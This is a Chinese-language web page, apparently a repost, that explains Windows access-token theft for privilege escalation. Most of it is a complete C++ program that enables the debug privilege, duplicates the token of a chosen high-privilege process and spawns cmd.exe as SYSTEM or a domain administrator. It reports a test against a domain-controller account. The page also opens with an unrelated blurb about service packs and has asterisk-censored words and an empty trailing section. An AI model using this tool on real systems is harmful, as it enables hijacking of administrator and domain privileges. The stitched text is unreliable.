前沿拓展:
windows 2003 sp
sp=ServicePack,服務(wù)包的意思,其實(shí)就是補(bǔ)丁的**,一次安裝,之前的 那些系統(tǒng)補(bǔ)丁
SYSTEM->本機(jī)上其他用戶(包括域用戶)(好家伙,只要本機(jī)有system權(quán)限,域管敢在本機(jī)上創(chuàng)建進(jìn)程就直接能拿到域管權(quán)限) 或者admin獲取debug權(quán)限后去獲取SYSTEM權(quán)限(這里有一個(gè)細(xì)節(jié)點(diǎn),只有owner為administrator的SYSTEM進(jìn)程才能被利用,比如lsass,dllhost)
技術(shù)細(xì)節(jié):通過尋找高權(quán)限開啟的進(jìn)程,再**其令牌用以創(chuàng)建新進(jìn)程,即可達(dá)到提權(quán)目的
#include <iostream>
#include <Windows.h>
//Only administrator can get debug priv
BOOL GetDebugPriv() {
HANDLE Token;
TOKEN_PRIVILEGES tp;
LUID Luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token)) {
std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;
return false;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) {
std::cout << "LookupPrivilegeValue ERROR" << GetLastError() << std::endl;
return false;
}
tp.Privileges[0].Luid = Luid;
if (!AdjustTokenPrivileges(Token, FALSE, &tp, sizeof(tp), NULL, NULL) ){
std::cout << "AdjustTokenPrivileges ERROR" << GetLastError() << std::endl;
return false;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
return false;
}
else {
return true;
}
}
int main(int argc, char* argv[]) {
HANDLE t_process;
HANDLE token = NULL;
HANDLE token_bak = NULL;
DWORD process_id;
sscanf_s(argv[1], "%ul", &process_id);
WCHAR command[] = L"C:\Windows\System32\cmd.exe";
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
std::cout << argv[1] << std::endl;
std::cout << "Openning process PID:" << process_id << std::endl;
if (GetDebugPriv()== TRUE) {
std::cout << "Got the debug priv" << std::endl;
}
else {
std::cout << "GetDebugPriv ERROR" << std::endl;
}
system("whoami /priv");
t_process = OpenProcess(PROCESS_ALL_ACCESS, true, process_id);
if (!t_process) {
std::cout << "OpenProcess ERROR" << GetLastError() << std::endl;
}
if (!OpenProcessToken(t_process, TOKEN_ALL_ACCESS, &token)) {
std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;
}
if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &token_bak)) {
std::cout << "DuplicateTokenEx ERROR" << GetLastError() << std::endl;
}
if (!CreateProcessWithTokenW(token_bak, LOGON_WITH_PROFILE, NULL, command, 0, NULL, NULL, &startupInfo, &processInformation)) {
std::cout << "CreateProcessWithTokenW ERROR" << GetLastError() << std::endl;
}
return 0;
}
這是在win7下的測(cè)試結(jié)果 constadministrator 是域控
拓展知識(shí):
原創(chuàng)文章,作者:九賢生活小編,如若轉(zhuǎn)載,請(qǐng)注明出處:http://m.xiesong.cn/5422.html